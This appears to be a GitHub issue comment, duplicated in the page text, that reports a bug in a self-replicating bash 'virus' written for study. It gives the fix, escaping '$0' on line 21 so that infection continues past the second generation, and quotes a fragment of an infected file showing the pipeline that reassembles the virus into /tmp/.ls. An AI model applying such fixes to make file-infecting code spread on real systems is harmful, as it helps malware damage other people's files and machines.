You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Hey Mr. Arceri,
thank you for sharing the bash virus.
I encountered a little bug in the line 21. It does lack an escape character for the '$' which prevents an infection after the second generation. echo "tail -n 36 $0 | ...'
should be echo "tail -n 36 \$0 | ...'
Otherwise, the first 3 ordering commands of the infected file will reference the original virus and not itself.
See the following example of dummy.sh after the execution of the virus in the vagrant vm. Here ./virus.sh. should be $0.
Hey Mr. Arceri,
thank you for sharing the bash virus.
I encountered a little bug in the line 21. It does lack an escape character for the '$' which prevents an infection after the second generation.
echo "tail -n 36 $0 | ...'
should be
echo "tail -n 36 \$0 | ...'
Otherwise, the first 3 ordering commands of the infected file will reference the original virus and not itself.
See the following example of dummy.sh after the execution of the virus in the vagrant vm. Here ./virus.sh. should be $0.
#dummy.sh ... Lorem ipsum dolor sit amet, tail -n 36 ./virus.sh | awk '{ print($NF" "$0) }' | cut -d"@" -f2- | sort -g | cut -d" " -f2- > /tmp/.ls ...
Cheers,
Martin
The text was updated successfully, but these errors were encountered: